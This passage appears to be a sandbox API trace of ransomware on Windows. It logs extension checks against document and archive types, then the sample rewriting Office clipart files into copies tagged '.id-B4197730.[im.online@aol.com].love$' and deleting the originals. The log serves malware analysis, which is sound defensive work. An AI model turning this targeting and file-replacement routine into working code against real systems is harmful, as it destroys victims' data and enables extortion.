[0244.294] lstrlenW (lpString=".zip") returned 4 [0244.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.294] lstrlenW (lpString=".rar") returned 4 [0244.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.294] lstrlenW (lpString=".bz2") returned 4 [0244.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.294] lstrlenW (lpString=".7z") returned 3 [0244.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.294] lstrlenW (lpString=".dbf") returned 4 [0244.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.294] lstrlenW (lpString=".1cd") returned 4 [0244.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.294] lstrlenW (lpString=".jpg") returned 4 [0244.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.295] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.295] lstrlenW (lpString="DD01630_.WMF") returned 12 [0244.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.296] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=296) returned 1 [0244.296] CloseHandle (hObject=0x4c8) returned 1 [0244.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0244.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.296] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.297] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0244.297] GetLastError () returned 0x0 [0244.297] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x128, lpOverlapped=0x0) returned 1 [0244.299] WriteFile (in: hFile=0x544, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x130, lpOverlapped=0x0) returned 1 [0244.300] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.300] WriteFile (in: hFile=0x544, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.304] SetEndOfFile (hFile=0x544) returned 1 [0244.305] CloseHandle (hObject=0x544) returned 1 [0244.309] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.309] SetEndOfFile (hFile=0x4c8) returned 1 [0244.600] CloseHandle (hObject=0x4c8) returned 1 [0244.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0244.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.700] lstrlenW (lpString=".doc") returned 4 [0244.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.700] lstrlenW (lpString=".docx") returned 5 [0244.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.700] lstrlenW (lpString=".pdf") returned 4 [0244.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.700] lstrlenW (lpString=".xls") returned 4 [0244.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.701] lstrlenW (lpString=".xlsx") returned 5 [0244.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.701] lstrlenW (lpString=".ppt") returned 4 [0244.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.701] lstrlenW (lpString=".zip") returned 4 [0244.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.701] lstrlenW (lpString=".rar") returned 4 [0244.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.701] lstrlenW (lpString=".bz2") returned 4 [0244.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.701] lstrlenW (lpString=".7z") returned 3 [0244.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.701] lstrlenW (lpString=".dbf") returned 4 [0244.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.701] lstrlenW (lpString=".1cd") returned 4 [0244.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.701] lstrlenW (lpString=".jpg") returned 4 [0244.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.701] lstrlenW (lpString=".doc") returned 4 [0244.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.702] lstrlenW (lpString=".docx") returned 5 [0244.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.702] lstrlenW (lpString=".pdf") returned 4 [0244.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.702] lstrlenW (lpString=".xls") returned 4 [0244.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.702] lstrlenW (lpString=".xlsx") returned 5 [0244.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.702] lstrlenW (lpString=".ppt") returned 4 [0244.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.702] lstrlenW (lpString=".zip") returned 4 [0244.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.702] lstrlenW (lpString=".rar") returned 4 [0244.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.702] lstrlenW (lpString=".bz2") returned 4 [0244.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.702] lstrlenW (lpString=".7z") returned 3 [0244.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.702] lstrlenW (lpString=".dbf") returned 4 [0244.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.703] lstrlenW (lpString=".1cd") returned 4 [0244.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0244.703] lstrlenW (lpString=".jpg") returned 4 [0244.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.703] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.703] lstrlenW (lpString="DD01793_.WMF") returned 12 [0244.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.704] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3252) returned 1 [0244.704] CloseHandle (hObject=0x418) returned 1 [0244.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0244.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.705] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.705] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.706] GetLastError () returned 0x0 [0244.706] ReadFile (in: hFile=0x418, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xcb4, lpOverlapped=0x0) returned 1 [0244.708] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0244.710] ReadFile (in: hFile=0x418, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.710] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.710] SetEndOfFile (hFile=0x4c8) returned 1 [0244.710] CloseHandle (hObject=0x4c8) returned 1 [0244.710] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.710] SetEndOfFile (hFile=0x418) returned 1 [0244.714] CloseHandle (hObject=0x418) returned 1 [0244.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0244.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.717] lstrlenW (lpString=".doc") returned 4 [0244.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.717] lstrlenW (lpString=".docx") returned 5 [0244.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.717] lstrlenW (lpString=".pdf") returned 4 [0244.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.717] lstrlenW (lpString=".xls") returned 4 [0244.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.717] lstrlenW (lpString=".xlsx") returned 5 [0244.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.717] lstrlenW (lpString=".ppt") returned 4 [0244.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.717] lstrlenW (lpString=".zip") returned 4 [0244.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.717] lstrlenW (lpString=".rar") returned 4 [0244.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.717] lstrlenW (lpString=".bz2") returned 4 [0244.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.718] lstrlenW (lpString=".7z") returned 3 [0244.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.718] lstrlenW (lpString=".dbf") returned 4 [0244.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.718] lstrlenW (lpString=".1cd") returned 4 [0244.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.718] lstrlenW (lpString=".jpg") returned 4 [0244.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.718] lstrlenW (lpString=".doc") returned 4 [0244.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.718] lstrlenW (lpString=".docx") returned 5 [0244.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.718] lstrlenW (lpString=".pdf") returned 4 [0244.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.718] lstrlenW (lpString=".xls") returned 4 [0244.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.719] lstrlenW (lpString=".xlsx") returned 5 [0244.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.719] lstrlenW (lpString=".ppt") returned 4 [0244.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.719] lstrlenW (lpString=".zip") returned 4 [0244.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.719] lstrlenW (lpString=".rar") returned 4 [0244.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.719] lstrlenW (lpString=".bz2") returned 4 [0244.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.719] lstrlenW (lpString=".7z") returned 3 [0244.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.719] lstrlenW (lpString=".dbf") returned 4 [0244.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.719] lstrlenW (lpString=".1cd") returned 4 [0244.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0244.719] lstrlenW (lpString=".jpg") returned 4 [0244.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.720] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.720] lstrlenW (lpString="ED00010_.WMF") returned 12 [0244.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.721] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1382) returned 1 [0244.721] CloseHandle (hObject=0x418) returned 1 [0244.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0244.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.722] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.722] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.723] GetLastError () returned 0x0 [0244.724] ReadFile (in: hFile=0x418, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x566, lpOverlapped=0x0) returned 1 [0244.726] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x570, lpOverlapped=0x0) returned 1 [0244.727] ReadFile (in: hFile=0x418, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.727] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.727] SetEndOfFile (hFile=0x4c8) returned 1 [0244.728] CloseHandle (hObject=0x4c8) returned 1 [0244.728] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.728] SetEndOfFile (hFile=0x418) returned 1 [0244.731] CloseHandle (hObject=0x418) returned 1 [0244.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0244.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.733] lstrlenW (lpString=".doc") returned 4 [0244.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.733] lstrlenW (lpString=".docx") returned 5 [0244.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.733] lstrlenW (lpString=".pdf") returned 4 [0244.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.733] lstrlenW (lpString=".xls") returned 4 [0244.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.733] lstrlenW (lpString=".xlsx") returned 5 [0244.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.733] lstrlenW (lpString=".ppt") returned 4 [0244.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.733] lstrlenW (lpString=".zip") returned 4 [0244.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.733] lstrlenW (lpString=".rar") returned 4 [0244.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.733] lstrlenW (lpString=".bz2") returned 4 [0244.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.733] lstrlenW (lpString=".7z") returned 3 [0244.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.734] lstrlenW (lpString=".dbf") returned 4 [0244.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.734] lstrlenW (lpString=".1cd") returned 4 [0244.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.734] lstrlenW (lpString=".jpg") returned 4 [0244.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.734] lstrlenW (lpString=".doc") returned 4 [0244.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.734] lstrlenW (lpString=".docx") returned 5 [0244.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.734] lstrlenW (lpString=".pdf") returned 4 [0244.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.734] lstrlenW (lpString=".xls") returned 4 [0244.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.734] lstrlenW (lpString=".xlsx") returned 5 [0244.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.734] lstrlenW (lpString=".ppt") returned 4 [0244.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.734] lstrlenW (lpString=".zip") returned 4 [0244.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.735] lstrlenW (lpString=".rar") returned 4 [0244.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.735] lstrlenW (lpString=".bz2") returned 4 [0244.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.735] lstrlenW (lpString=".7z") returned 3 [0244.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.735] 